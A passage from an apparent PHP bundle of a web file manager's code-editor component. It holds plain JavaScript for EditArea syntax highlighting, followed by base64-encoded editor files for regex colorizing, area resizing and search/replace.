					if(str.length>0)
						this.syntax[lang]["delimiters_reg_exp"]= new RegExp("("+str+")","g");
				}
				
				
		//		/(("(\\"|[^"])*"?)|('(\\'|[^'])*'?)|(//(.|\r|\t)*\n)|(/\*(.|\n|\r|\t)*\*/)|(<!--(.|\n|\r|\t)*-->))/gi
				var syntax_trace=new Array();
				
		//		/("(?:[^"\\]*(\\\\)*(\\"?)?)*("|$))/g
				
				this.syntax[lang]["quotes"]=new Object();
				var quote_tab= new Array();
				if(this.load_syntax[lang]['QUOTEMARKS']){
					for(var i in this.load_syntax[lang]['QUOTEMARKS']){	
						if(typeof(this.load_syntax[lang]['QUOTEMARKS'][i])=="function") continue;			
						var x=this.get_escaped_regexp(this.load_syntax[lang]['QUOTEMARKS'][i]);
						this.syntax[lang]["quotes"][x]=x;
						//quote_tab[quote_tab.length]="("+x+"(?:\\\\"+x+"|[^"+x+"])*("+x+"|$))";
						quote_tab[quote_tab.length]="("+x+"(?:[^"+x+"\\\\]*(\\\\\\\\)*(\\\\"+x+"?)?)*("+x+"|$))";
						syntax_trace.push(x);			
					}			
				}
						
				this.syntax[lang]["comments"]=new Object();
				if(this.load_syntax[lang]['COMMENT_SINGLE']){
					for(var i in this.load_syntax[lang]['COMMENT_SINGLE']){	
						if(typeof(this.load_syntax[lang]['COMMENT_SINGLE'][i])=="function") continue;						
						var x=this.get_escaped_regexp(this.load_syntax[lang]['COMMENT_SINGLE'][i]);
						quote_tab[quote_tab.length]="("+x+"(.|\\r|\\t)*(\\n|$))";
						syntax_trace.push(x);
						this.syntax[lang]["comments"][x]="\n";
					}			
				}		
				// (/\*(.|[\r\n])*?\*/)
				if(this.load_syntax[lang]['COMMENT_MULTI']){
					for(var i in this.load_syntax[lang]['COMMENT_MULTI']){
						if(typeof(this.load_syntax[lang]['COMMENT_MULTI'][i])=="function") continue;							
						var start=this.get_escaped_regexp(i);
						var end=this.get_escaped_regexp(this.load_syntax[lang]['COMMENT_MULTI'][i]);
						quote_tab[quote_tab.length]="("+start+"(.|\\n|\\r)*?("+end+"|$))";
						syntax_trace.push(start);
						syntax_trace.push(end);
						this.syntax[lang]["comments"][i]=this.load_syntax[lang]['COMMENT_MULTI'][i];
					}			
				}		
				if(quote_tab.length>0)
					this.syntax[lang]["comment_or_quote_reg_exp"]= new RegExp("("+quote_tab.join("|")+")","gi");
				
				if(syntax_trace.length>0) //   /((.|\n)*?)(\\*("|'|\/\*|\*\/|\/\/|$))/g
					this.syntax[lang]["syntax_trace_regexp"]= new RegExp("((.|\n)*?)(\\\\*("+ syntax_trace.join("|") +"|$))", "gmi");
				
				if(this.load_syntax[lang]['SCRIPT_DELIMITERS']){
					this.syntax[lang]["script_delimiters"]= new Object();
					for(var i in this.load_syntax[lang]['SCRIPT_DELIMITERS']){
						if(typeof(this.load_syntax[lang]['SCRIPT_DELIMITERS'][i])=="function") continue;							
						this.syntax[lang]["script_delimiters"][i]= this.load_syntax[lang]['SCRIPT_DELIMITERS'];
					}			
				}
				
				this.syntax[lang]["custom_regexp"]= new Object();
				if(this.load_syntax[lang]['REGEXPS']){
					for(var i in this.load_syntax[lang]['REGEXPS']){
						if(typeof(this.load_syntax[lang]['REGEXPS'][i])=="function") continue;
						var val= this.load_syntax[lang]['REGEXPS'][i];
						if(!this.syntax[lang]["custom_regexp"][val['execute']])
							this.syntax[lang]["custom_regexp"][val['execute']]= new Object();
						this.syntax[lang]["custom_regexp"][val['execute']][i]={'regexp' : new RegExp(val['search'], val['modifiers'])
																			, 'class' : val['class']};
					}
				}
				
				if(this.load_syntax[lang]['STYLES']){							
					lang_style[lang]= new Object();
					for(var i in this.load_syntax[lang]['STYLES']){
						if(typeof(this.load_syntax[lang]['STYLES'][i])=="function") continue;
						if(typeof(this.load_syntax[lang]['STYLES'][i]) != "string"){
							for(var j in this.load_syntax[lang]['STYLES'][i]){							
								lang_style[lang][j]= this.load_syntax[lang]['STYLES'][i][j];
							}
						}else{
							lang_style[lang][i]= this.load_syntax[lang]['STYLES'][i];
						}
					}
				}
				// build style string
				var style="";		
				for(var i in lang_style[lang]){
					if(lang_style[lang][i].length>0){
						style+= "."+ lang +" ."+ i.toLowerCase() +" span{"+lang_style[lang][i]+"}\n";
						style+= "."+ lang +" ."+ i.toLowerCase() +"{"+lang_style[lang][i]+"}\n";				
					}
				}
				this.syntax[lang]["styles"]=style;
			}
		}				
	};
	
	editAreaLoader.waiting_loading["reg_syntax.js"]= "loaded";
',
  './AJAX-B/edit_area/regexp.js' => 'CS8qRWRpdEFyZWEucHJvdG90eXBlLmNvbW1lbnRfb3JfcXVvdGVzPSBmdW5jdGlvbih2MCwgdjEsIHYyLCB2MywgdjQsdjUsdjYsdjcsdjgsdjksIHYxMCl7DQoJCW5ld19jbGFzcz0icXVvdGVzIjsNCgkJaWYodjYgJiYgdjYgIT0gdW5kZWZpbmVkICYmIHY2IT0iIikNCgkJCW5ld19jbGFzcz0iY29tbWVudHMiOw0KCQlyZXR1cm4gIsK1X18iKyBuZXdfY2xhc3MgKyJfX8K1Iit2MCsiwrVfRU5EX8K1IjsNCg0KCX07Ki8NCgkNCi8qCUVkaXRBcmVhLnByb3RvdHlwZS5odG1sVGFnPSBmdW5jdGlvbih2MCwgdjEsIHYyLCB2MywgdjQsdjUsdjYsdjcsdjgsdjksIHYxMCl7DQoJCXJlcz0iPHNwYW4gY2xhc3M9aHRtbFRhZz4iK3YyOw0KCQlhbGVydCgidjI6ICIrdjIrIiB2MzogIit2Myk7DQoJCXRhYj12My5zcGxpdCgiPSIpOw0KCQlhdHRyaWJ1dGVzPSIiOw0KCQlpZih0YWIubGVuZ3RoPjEpew0KCQkJYXR0cmlidXRlcz0iPHNwYW4gY2xhc3M9YXR0cmlidXRlPiIrdGFiWzBdKyI8L3NwYW4+PSI7DQoJCQlmb3IoaT0xOyBpPHRhYi5sZW5ndGgtMTsgaSsrKXsNCgkJCQljdXQ9dGFiW2ldLmxhc3RJbmRleE9mKCImbmJzcDsiKTsJCQkJDQoJCQkJYXR0cmlidXRlcys9IjxzcGFuIGNsYXNzPWF0dHJpYnV0ZVZhbD4iK3RhYltpXS5zdWJzdHIoMCxjdXQpKyI8L3NwYW4+IjsNCgkJCQlhdHRyaWJ1dGVzKz0iPHNwYW4gY2xhc3M9YXR0cmlidXRlPiIrdGFiW2ldLnN1YnN0cihjdXQpKyI8L3NwYW4+PSI7DQoJCQl9DQoJCQlhdHRyaWJ1dGVzKz0iPHNwYW4gY2xhc3M9YXR0cmlidXRlVmFsPiIrdGFiW3RhYi5sZW5ndGgtMV0rIjwvc3Bhbj4iOw0KCQl9CQkNCgkJcmVzKz1hdHRyaWJ1dGVzK3Y1KyI8L3NwYW4+IjsNCgkJcmV0dXJuIHJlczsJCQ0KCX07Ki8NCgkNCgkvLyBkZXRlcm1pbmUgaWYgdGhlIHNlbGVjdGVkIHRleHQgaWYgYSBjb21tZW50IG9yIGEgcXVvdGVkIHRleHQNCglFZGl0QXJlYS5wcm90b3R5cGUuY29tbWVudF9vcl9xdW90ZT0gZnVuY3Rpb24oKXsNCgkJdmFyIG5ld19jbGFzcz0iIjsNCgkJdmFyIGNsb3NlX3RhZz0iIjsNCgkJZm9yKHZhciBpIGluIHBhcmVudC5lZGl0QXJlYUxvYWRlci5zeW50YXhbZWRpdEFyZWEuY3VycmVudF9jb2RlX2xhbmddWyJxdW90ZXMiXSl7DQoJCQlpZihFZGl0QXJlYS5wcm90b3R5cGUuY29tbWVudF9vcl9xdW90ZS5hcmd1bWVudHNbMF0uaW5kZXhPZihpKT09MCl7DQoJCQkJbmV3X2NsYXNzPSJxdW90ZXNtYXJrcyI7DQoJCQkJY2xvc2VfdGFnPXBhcmVudC5lZGl0QXJlYUxvYWRlci5zeW50YXhbZWRpdEFyZWEuY3VycmVudF9jb2RlX2xhbmddWyJxdW90ZXMiXVtpXTsNCgkJCX0NCgkJfQ0KCQlpZihuZXdfY2xhc3MubGVuZ3RoPT0wKQ0KCQl7DQoJCQlmb3IodmFyIGkgaW4gcGFyZW50LmVkaXRBcmVhTG9hZGVyLnN5bnRheFtlZGl0QXJlYS5jdXJyZW50X2NvZGVfbGFuZ11bImNvbW1lbnRzIl0pew0KCQkJCWlmKEVkaXRBcmVhLnByb3RvdHlwZS5jb21tZW50X29yX3F1b3RlLmFyZ3VtZW50c1swXS5pbmRleE9mKGkpPT0wKXsNCgkJCQkJbmV3X2NsYXNzPSJjb21tZW50cyI7DQoJCQkJCWNsb3NlX3RhZz1wYXJlbnQuZWRpdEFyZWFMb2FkZXIuc3ludGF4W2VkaXRBcmVhLmN1cnJlbnRfY29kZV9sYW5nXVsiY29tbWVudHMiXVtpXTsNCgkJCQl9DQoJCQl9DQoJCX0NCgkJLy8gZm9yIHNpbmdsZSBsaW5lIGNvbW1lbnQgdGhlIFxuIG11c3Qgbm90IGJlIGluY2x1ZGVkIGluIHRoZSBzcGFuIHRhZ3MNCgkJaWYoY2xvc2VfdGFnPT0iXG4iKXsNCgkJCXJldHVybiAiwrVfXyIrIG5ld19jbGFzcyArIl9fwrUiK0VkaXRBcmVhLnByb3RvdHlwZS5jb21tZW50X29yX3F1b3RlLmFyZ3VtZW50c1swXS5yZXBsYWNlKC8oXHI/XG4pPyQvbSwgIsK1X0VORF/CtSQxIik7DQoJCX1lbHNlew0KCQkJLy8gdGhlIGNsb3NpbmcgdGFnIG11c3QgYmUgc2V0IG9ubHkgaWYgdGhlIGNvbW1lbnQgb3IgcXVvdGVzIGlzIGNsb3NlZCANCgkJCXJlZz0gbmV3IFJlZ0V4cChwYXJlbnQuZWRpdEFyZWFMb2FkZXIuZ2V0X2VzY2FwZWRfcmVnZXhwKGNsb3NlX3RhZykrIiQiLCAibSIpOw0KCQkJaWYoRWRpdEFyZWEucHJvdG90eXBlLmNvbW1lbnRfb3JfcXVvdGUuYXJndW1lbnRzWzBdLnNlYXJjaChyZWcpIT0tMSkNCgkJCQlyZXR1cm4gIsK1X18iKyBuZXdfY2xhc3MgKyJfX8K1IitFZGl0QXJlYS5wcm90b3R5cGUuY29tbWVudF9vcl9xdW90ZS5hcmd1bWVudHNbMF0rIsK1X0VORF/CtSI7DQoJCQllbHNlDQoJCQkJcmV0dXJuICLCtV9fIisgbmV3X2NsYXNzICsiX1/CtSIrRWRpdEFyZWEucHJvdG90eXBlLmNvbW1lbnRfb3JfcXVvdGUuYXJndW1lbnRzWzBdOw0KCQl9DQoJfTsNCgkNCi8qDQoJLy8gYXBwbHkgc3BlY2lhbCB0YWdzIGFycm91bmQgdGV4dCB0byBoaWdobGlnaHQNCglFZGl0QXJlYS5wcm90b3R5cGUuY3VzdG9tX2hpZ2hsaWdodD0gZnVuY3Rpb24oKXsNCgkJcmVzPSBFZGl0QXJlYS5wcm90b3R5cGUuY3VzdG9tX2hpZ2hsaWdodC5hcmd1bWVudHNbMV0rIsK1X18iKyBlZGl0QXJlYS5yZWdfZXhwX3NwYW5fdGFnICsiX1/CtSIgKyBFZGl0QXJlYS5wcm90b3R5cGUuY3VzdG9tX2hpZ2hsaWdodC5hcmd1bWVudHNbMl0rIsK1X0VORF/CtSI7DQoJCWlmKEVkaXRBcmVhLnByb3RvdHlwZS5jdXN0b21faGlnaGxpZ2h0LmFyZ3VtZW50cy5sZW5ndGg+NSkNCgkJCXJlcys9IEVkaXRBcmVhLnByb3RvdHlwZS5jdXN0b21faGlnaGxpZ2h0LmFyZ3VtZW50c1sgRWRpdEFyZWEucHJvdG90eXBlLmN1c3RvbV9oaWdobGlnaHQuYXJndW1lbnRzLmxlbmd0aC0zIF07DQoJCXJldHVybiByZXM7DQoJfTsNCgkqLw0KCQ0KCS8vIHJldHVybiBpZGVudGljYXRpb24gdGhhdCBhbGxvdyB0byBrbm93IGlmIHJldmFsaWRhdGluZyBvbmx5IHRoZSB0ZXh0IGxpbmUgd29uJ3QgbWFrZSB0aGUgc3ludGF4IGdvIG1hZA0KCUVkaXRBcmVhLnByb3RvdHlwZS5nZXRfc3ludGF4X3RyYWNlPSBmdW5jdGlvbih0ZXh0KXsNCgkJaWYodGhpcy5zZXR0aW5nc1sic3ludGF4Il0ubGVuZ3RoPjAgJiYgcGFyZW50LmVkaXRBcmVhTG9hZGVyLnN5bnRheFt0aGlzLnNldHRpbmdzWyJzeW50YXgiXV1bInN5bnRheF90cmFjZV9yZWdleHAiXSkNCgkJCXJldHVybiB0ZXh0LnJlcGxhY2UocGFyZW50LmVkaXRBcmVhTG9hZGVyLnN5bnRheFt0aGlzLnNldHRpbmdzWyJzeW50YXgiXV1bInN5bnRheF90cmFjZV9yZWdleHAiXSwgIiQzIik7DQoJfTsNCgkNCgkJDQoJRWRpdEFyZWEucHJvdG90eXBlLmNvbG9yaXplX3RleHQ9IGZ1bmN0aW9uKHRleHQpew0KCQkvL3RleHQ9IjxkaXYgaWQ9J3Jlc3VsdCcgY2xhc3M9J2FyZWEnIHN0eWxlPSdwb3NpdGlvbjogcmVsYXRpdmU7IHotaW5kZXg6IDQ7IGhlaWdodDogNTAwcHg7IG92ZXJmbG93OiBzY3JvbGw7Ym9yZGVyOiBzb2xpZCBibGFjayAxcHg7Jz4gIjsNCgkgIC8qCQkNCgkJaWYodGhpcy5uYXZbJ2lzT3BlcmEnXSl7CQ0KCQkJLy8gb3BlcmEgY2FuJ3QgdXNlIHByZSBlbGVtZW50IHRhYnVsYXRpb24gY2F1c2UgYSB0YWI9NiBjaGFycyBpbiB0aGUgdGV4dGFyZWEgYW5kIDggY2hhcnMgaW4gdGhlIHByZSANCgkJCXRleHQ9IHRoaXMucmVwbGFjZV90YWIodGV4dCk7DQoJCX0qLw0KCQkNCgkJdGV4dD0gIiAiK3RleHQ7IC8vIGZvciBlYXNpZXIgcmVnRXhwDQoJCQ0KCQkvKmlmKHRoaXMuZG9faHRtbF90YWdzKQ0KCQkJdGV4dD0gdGV4dC5yZXBsYWNlKC8oPFthLXpdKyBbXj5dKj4pL2dpLCAnW19faHRtbFRhZ19fXSQxW19FTkRfXScpOyovDQoJCWlmKHRoaXMuc2V0dGluZ3NbInN5bnRheCJdLmxlbmd0aD4wKQ0KCQkJdGV4dD0gdGhpcy5hcHBseV9zeW50YXgodGV4dCwgdGhpcy5zZXR0aW5nc1sic3ludGF4Il0pOw0KDQoJCS8vIHJlbW92ZSB0aGUgZmlyc3Qgc3BhY2UgYWRkZWQNCgkJcmV0dXJuIHRleHQuc3Vic3RyKDEpLnJlcGxhY2UoLyYvZywiJmFtcDsiKS5yZXBsYWNlKC88L2csIiZsdDsiKS5yZXBsYWNlKC8+L2csIiZndDsiKS5yZXBsYWNlKC/CtV9FTkRfwrUvZywiPC9zcGFuPiIpLnJlcGxhY2UoL8K1X18oW2EtekEtWjAtOV0rKV9fwrUvZywiPHNwYW4gY2xhc3M9JyQxJz4iKTsNCgl9Ow0KCQ0KCUVkaXRBcmVhLnByb3RvdHlwZS5hcHBseV9zeW50YXg9IGZ1bmN0aW9uKHRleHQsIGxhbmcpew0KCQl0aGlzLmN1cnJlbnRfY29kZV9sYW5nPWxhbmc7DQoJDQoJCWlmKCFwYXJlbnQuZWRpdEFyZWFMb2FkZXIuc3ludGF4W2xhbmddKQ0KCQkJcmV0dXJuIHRleHQ7DQoJCQ0KCQlpZihwYXJlbnQuZWRpdEFyZWFMb2FkZXIuc3ludGF4W2xhbmddWyJjdXN0b21fcmVnZXhwIl1bJ2JlZm9yZSddKXsNCgkJCWZvciggdmFyIGkgaW4gcGFyZW50LmVkaXRBcmVhTG9hZGVyLnN5bnRheFtsYW5nXVsiY3VzdG9tX3JlZ2V4cCJdWydiZWZvcmUnXSl7DQoJCQkJdmFyIGNvbnZlcnQ9IiQxwrVfXyIrIHBhcmVudC5lZGl0QXJlYUxvYWRlci5zeW50YXhbbGFuZ11bImN1c3RvbV9yZWdleHAiXVsnYmVmb3JlJ11baV1bJ2NsYXNzJ10gKyJfX8K1JDLCtV9FTkRfwrUkMyI7DQoJCQkJdGV4dD0gdGV4dC5yZXBsYWNlKHBhcmVudC5lZGl0QXJlYUxvYWRlci5zeW50YXhbbGFuZ11bImN1c3RvbV9yZWdleHAiXVsnYmVmb3JlJ11baV1bJ3JlZ2V4cCddLCBjb252ZXJ0KTsNCgkJCX0NCgkJfQ0KCQkNCgkJaWYocGFyZW50LmVkaXRBcmVhTG9hZGVyLnN5bnRheFtsYW5nXVsiY29tbWVudF9vcl9xdW90ZV9yZWdfZXhwIl0pew0KCQkJLy9zZXRUaW1lb3V0KCIkKCdkZWJ1Z19hcmVhJykudmFsdWU9ZWRpdEFyZWEuY29tbWVudF9vcl9xdW90ZV9yZWdfZXhwOyIsIDUwMCk7DQoJCQl0ZXh0PSB0ZXh0LnJlcGxhY2UocGFyZW50LmVkaXRBcmVhTG9hZGVyLnN5bnRheFtsYW5nXVsiY29tbWVudF9vcl9xdW90ZV9yZWdfZXhwIl0sIHRoaXMuY29tbWVudF9vcl9xdW90ZSk7DQoJCX0NCgkJDQoJCWlmKHBhcmVudC5lZGl0QXJlYUxvYWRlci5zeW50YXhbbGFuZ11bImtleXdvcmRzX3JlZ19leHAiXSl7DQoJCQlmb3IodmFyIGkgaW4gcGFyZW50LmVkaXRBcmVhTG9hZGVyLnN5bnRheFtsYW5nXVsia2V5d29yZHNfcmVnX2V4cCJdKXsJDQoJCQkJdGV4dD0gdGV4dC5yZXBsYWNlKHBhcmVudC5lZGl0QXJlYUxvYWRlci5zeW50YXhbbGFuZ11bImtleXdvcmRzX3JlZ19leHAiXVtpXSwgJ8K1X18nK2krJ19fwrUkMsK1X0VORF/CtScpOw0KCQkJfQkJCQ0KCQl9DQoJCQ0KCQlpZihwYXJlbnQuZWRpdEFyZWFMb2FkZXIuc3ludGF4W2xhbmddWyJkZWxpbWl0ZXJzX3JlZ19leHAiXSl7DQoJCQl0ZXh0PSB0ZXh0LnJlcGxhY2UocGFyZW50LmVkaXRBcmVhTG9hZGVyLnN5bnRheFtsYW5nXVsiZGVsaW1pdGVyc19yZWdfZXhwIl0sICfCtV9fZGVsaW1pdGVyc19fwrUkMcK1X0VORF/CtScpOw0KCQl9CQkNCgkJDQoJCWlmKHBhcmVudC5lZGl0QXJlYUxvYWRlci5zeW50YXhbbGFuZ11bIm9wZXJhdG9yc19yZWdfZXhwIl0pew0KCQkJdGV4dD0gdGV4dC5yZXBsYWNlKHBhcmVudC5lZGl0QXJlYUxvYWRlci5zeW50YXhbbGFuZ11bIm9wZXJhdG9yc19yZWdfZXhwIl0sICfCtV9fb3BlcmF0b3JzX1/CtSQxwrVfRU5EX8K1Jyk7DQoJCX0NCgkJDQoJCWlmKHBhcmVudC5lZGl0QXJlYUxvYWRlci5zeW50YXhbbGFuZ11bImN1c3RvbV9yZWdleHAiXVsnYWZ0ZXInXSl7DQoJCQlmb3IoIHZhciBpIGluIHBhcmVudC5lZGl0QXJlYUxvYWRlci5zeW50YXhbbGFuZ11bImN1c3RvbV9yZWdleHAiXVsnYWZ0ZXInXSl7DQoJCQkJdmFyIGNvbnZlcnQ9IiQxwrVfXyIrIHBhcmVudC5lZGl0QXJlYUxvYWRlci5zeW50YXhbbGFuZ11bImN1c3RvbV9yZWdleHAiXVsnYWZ0ZXInXVtpXVsnY2xhc3MnXSArIl9fwrUkMsK1X0VORF/CtSQzIjsNCgkJCQl0ZXh0PSB0ZXh0LnJlcGxhY2UocGFyZW50LmVkaXRBcmVhTG9hZGVyLnN5bnRheFtsYW5nXVsiY3VzdG9tX3JlZ2V4cCJdWydhZnRlciddW2ldWydyZWdleHAnXSwgY29udmVydCk7CQkJDQoJCQl9DQoJCX0NCgkJCQ0KCQlyZXR1cm4gdGV4dDsNCgl9Ow0K',
  './AJAX-B/edit_area/resize_area.js' => 'CQ0KCUVkaXRBcmVhTG9hZGVyLnByb3RvdHlwZS5zdGFydF9yZXNpemVfYXJlYT0gZnVuY3Rpb24oKXsNCgkJZG9jdW1lbnQub25tb3VzZXVwPSBlZGl0QXJlYUxvYWRlci5lbmRfcmVzaXplX2FyZWE7DQoJCWRvY3VtZW50Lm9ubW91c2Vtb3ZlPSBlZGl0QXJlYUxvYWRlci5yZXNpemVfYXJlYTsNCgkJZWRpdEFyZWFMb2FkZXIudG9nZ2xlKGVkaXRBcmVhTG9hZGVyLnJlc2l6ZVsiaWQiXSk7CQkNCgkJDQoJCXZhciB0ZXh0YXJlYT0gZWRpdEFyZWFzW2VkaXRBcmVhTG9hZGVyLnJlc2l6ZVsiaWQiXV1bInRleHRhcmVhIl07DQoJCXZhciBkaXY9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJlZGl0X2FyZWFfcmVzaXplIik7DQoJCWlmKCFkaXYpew0KCQkJZGl2PSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCJkaXYiKTsNCgkJCWRpdi5pZD0iZWRpdF9hcmVhX3Jlc2l6ZSI7DQoJCQlkaXYuc3R5bGUuYm9yZGVyPSJkYXNoZWQgIzg4ODg4OCAxcHgiOw0KCQl9DQoJCXZhciB3aWR0aD0gdGV4dGFyZWEub2Zmc2V0V2lkdGggLTI7DQoJCXZhciBoZWlnaHQ9IHRleHRhcmVhLm9mZnNldEhlaWdodCAtMjsNCgkJLyppZih0aGlzLm5hdlsnaXNHZWNrbyddKXsNCgkJCXdpZHRoLT0yOw0KCQkJaGVpZ2h0LT0yOw0KCQl9Ki8NCgkJDQoJCWRpdi5zdHlsZS5kaXNwbGF5PSJibG9jayI7DQoJCWRpdi5zdHlsZS53aWR0aD0gd2lkdGgrInB4IjsNCgkJZGl2LnN0eWxlLmhlaWdodD0gaGVpZ2h0KyJweCI7DQoJCXZhciBmYXRoZXI9IHRleHRhcmVhLnBhcmVudE5vZGU7DQoJCWZhdGhlci5pbnNlcnRCZWZvcmUoZGl2LCB0ZXh0YXJlYSk7DQoJCQ0KCQl0ZXh0YXJlYS5zdHlsZS5kaXNwbGF5PSJub25lIjsNCgkJCQkNCgkJZWRpdEFyZWFMb2FkZXIucmVzaXplWyJzdGFydF90b3AiXT0gY2FsY3VsZU9mZnNldFRvcChkaXYpOw0KCQllZGl0QXJlYUxvYWRlci5yZXNpemVbInN0YXJ0X2xlZnQiXT0gY2FsY3VsZU9mZnNldExlZnQoZGl2KTsNCg0KCQkNCgkJLyp2YXIgbmV4dD0gdGV4dGFyZWEubmV4dFNpYmxpbmc7DQoJCWlmKG5leHQ9PW51bGwpDQoJCQlmYXRoZXIuYXBwZW5kQ2hpbGQoZGl2KTsNCgkJZWxzZQ0KCQkJZmF0aGVyLmluc2VydEJlZm9yZShkaXYsIG5leHQpOyovDQoJCQ0KCX07DQoJDQoJRWRpdEFyZWFMb2FkZXIucHJvdG90eXBlLmVuZF9yZXNpemVfYXJlYT0gZnVuY3Rpb24oZSl7DQoJCWRvY3VtZW50Lm9ubW91c2V1cD0iIjsNCgkJZG9jdW1lbnQub25tb3VzZW1vdmU9IiI7CQkNCgkJDQoJCXZhciBkaXY9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJlZGl0X2FyZWFfcmVzaXplIik7CQkNCgkJdmFyIHRleHRhcmVhPSBlZGl0QXJlYXNbZWRpdEFyZWFMb2FkZXIucmVzaXplWyJpZCJdXVsidGV4dGFyZWEiXTsNCgkJdmFyIHdpZHRoPSBNYXRoLm1heChlZGl0QXJlYXNbZWRpdEFyZWFMb2FkZXIucmVzaXplWyJpZCJdXVsic2V0dGluZ3MiXVsibWluX3dpZHRoIl0sIGRpdi5vZmZzZXRXaWR0aC00KTsNCgkJdmFyIGhlaWdodD0gTWF0aC5tYXgoZWRpdEFyZWFzW2VkaXRBcmVhTG9hZGVyLnJlc2l6ZVsiaWQiXV1bInNldHRpbmdzIl1bIm1pbl9oZWlnaHQiXSwgZGl2Lm9mZnNldEhlaWdodC00KTsNCgkJaWYoZWRpdEFyZWFMb2FkZXIubmF2Wydpc0lFJ109PTYpew0KCQkJd2lkdGgtPTI7DQoJCQloZWlnaHQtPTI7CQ0KCQl9DQoJCXRleHRhcmVhLnN0eWxlLndpZHRoPSB3aWR0aCsicHgiOw0KCQl0ZXh0YXJlYS5zdHlsZS5oZWlnaHQ9IGhlaWdodCsicHgiOw0KCQlkaXYuc3R5bGUuZGlzcGxheT0ibm9uZSI7DQoJCXRleHRhcmVhLnN0eWxlLmRpc3BsYXk9ImlubGluZSI7DQoJCXRleHRhcmVhLnNlbGVjdGlvblN0YXJ0PSBlZGl0QXJlYUxvYWRlci5yZXNpemVbInNlbGVjdGlvblN0YXJ0Il07DQoJCXRleHRhcmVhLnNlbGVjdGlvbkVuZD0gZWRpdEFyZWFMb2FkZXIucmVzaXplWyJzZWxlY3Rpb25FbmQiXTsNCgkJZWRpdEFyZWFMb2FkZXIudG9nZ2xlKGVkaXRBcmVhTG9hZGVyLnJlc2l6ZVsiaWQiXSk7DQoJCQ0KCQlyZXR1cm4gZmFsc2U7DQoJfTsNCgkNCglFZGl0QXJlYUxvYWRlci5wcm90b3R5cGUucmVzaXplX2FyZWE9IGZ1bmN0aW9uKGUpewkJDQoJCXZhciBhbGxvdz0gZWRpdEFyZWFzW2VkaXRBcmVhTG9hZGVyLnJlc2l6ZVsiaWQiXV1bInNldHRpbmdzIl1bImFsbG93X3Jlc2l6ZSJdOw0KCQlpZihhbGxvdz09ImJvdGgiIHx8IGFsbG93PT0ieSIpDQoJCXsNCgkJCW5ld195PSBnZXRNb3VzZVkoZSk7DQoJCQl2YXIgbmV3X2hlaWdodD0gTWF0aC5tYXgoMjAsIG5ld195LSBlZGl0QXJlYUxvYWRlci5yZXNpemVbInN0YXJ0X3RvcCJdKTsNCgkJCWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJlZGl0X2FyZWFfcmVzaXplIikuc3R5bGUuaGVpZ2h0PSBuZXdfaGVpZ2h0KyJweCI7DQoJCX0NCgkJaWYoYWxsb3c9PSJib3RoIiB8fCBhbGxvdz09IngiKQ0KCQl7DQoJCQluZXdfeD0gZ2V0TW91c2VYKGUpOw0KCQkJdmFyIG5ld193aWR0aD0gTWF0aC5tYXgoMjAsIG5ld194LSBlZGl0QXJlYUxvYWRlci5yZXNpemVbInN0YXJ0X2xlZnQiXSk7DQoJCQlkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiZWRpdF9hcmVhX3Jlc2l6ZSIpLnN0eWxlLndpZHRoPSBuZXdfd2lkdGgrInB4IjsNCgkJfQ0KCQkvL3dpbmRvdy5zdGF0dXM9InJlc2l6ZSBuX3c6ICIrbmV3X3dpZHRoKyIgbmV3X2g6ICIrbmV3X2hlaWdodCsgIiBuZXdfeTogIituZXdfeSsiIHNfdG9wOiAiK2VkaXRBcmVhTG9hZGVyLnJlc2l6ZVsic3RhcnRfdG9wIl07DQoJCXJldHVybiBmYWxzZTsNCgl9Ow0KCQ0KCWVkaXRBcmVhTG9hZGVyLndhaXRpbmdfbG9hZGluZ1sicmVzaXplX2FyZWEuanMiXT0gImxvYWRlZCI7DQo=',
  './AJAX-B/edit_area/search_replace.js' => 'CUVkaXRBcmVhLnByb3RvdHlwZS5zaG93X3NlYXJjaCA9IGZ1bmN0aW9uKCl7DQoJCWlmKCQoImFyZWFfc2VhcmNoX3JlcGxhY2UiKS5zdHlsZS52aXNpYmlsaXR5PT0idmlzaWJsZSIpew0KCQkJdGhpcy5oaWRkZW5fc2VhcmNoKCk7DQoJCX1lbHNlew0KCQkJdGhpcy5vcGVuX2lubGluZV9wb3B1cCgiYXJlYV9zZWFyY2hfcmVwbGFjZSIpOw0KCQkJdmFyIHRleHQ9IHRoaXMuYXJlYV9nZXRfc2VsZWN0aW9uKCk7DQoJCQl2YXIgc2VhcmNoPSB0ZXh0LnNwbGl0KCJcbiIpWzBdOw0KCQkJJCgiYXJlYV9zZWFyY2giKS52YWx1ZT0gc2VhcmNoOw0KCQkJJCgiYXJlYV9zZWFyY2giKS5mb2N1cygpOw0KCQl9DQoJfTsNCgkNCglFZGl0QXJlYS5wcm90b3R5cGUuaGlkZGVuX3NlYXJjaD0gZnVuY3Rpb24oKXsNCgkJLyokKCJhcmVhX3NlYXJjaF9yZXBsYWNlIikuc3R5bGUudmlzaWJpbGl0eT0iaGlkZGVuIjsNCgkJdGhpcy50ZXh0YXJlYS5mb2N1cygpOw0KCQl2YXIgaWNvbj0gJCgic2VhcmNoIik7DQoJCXNldEF0dHJpYnV0ZShpY29uLCAiY2xhc3MiLCBnZXRBdHRyaWJ1dGUoaWNvbiwgImNsYXNzIikucmVwbGFjZSgvIHNlbGVjdGVkL2csICIiKSApOyovDQoJCXRoaXMuY2xvc2VfaW5saW5lX3BvcHVwKCJhcmVhX3NlYXJjaF9yZXBsYWNlIik7DQoJfTsNCgkNCglFZGl0QXJlYS5wcm90b3R5cGUuYXJlYV9zZWFyY2g9IGZ1bmN0aW9uKG1vZGUpew0KCQkNCgkJaWYoIW1vZGUpDQoJCQltb2RlPSJzZWFyY2giOw0KCQkkKCJhcmVhX3NlYXJjaF9tc2ciKS5pbm5lckhUTUw9IiI7CQkNCgkJdmFyIHNlYXJjaD0kKCJhcmVhX3NlYXJjaCIpLnZhbHVlOwkJDQoJCQ0KCQl0aGlzLnRleHRhcmVhLmZvY3VzKCk7CQkNCgkJdGhpcy50ZXh0YXJlYS50ZXh0YXJlYUZvY3VzZWQ9dHJ1ZTsNCgkJDQoJCXZhciBpbmZvcz0gdGhpcy5nZXRfc2VsZWN0aW9uX2luZm9zKCk7CQ0KCQl2YXIgc3RhcnQ9IGluZm9zWyJzZWxlY3Rpb25TdGFydCJdOw0KCQl2YXIgcG9zPS0xOw0KCQl2YXIgcG9zX2JlZ2luPS0xOw0KCQl2YXIgbGVuZ3RoPXNlYXJjaC5sZW5ndGg7DQoJCQ0KCQlpZigkKC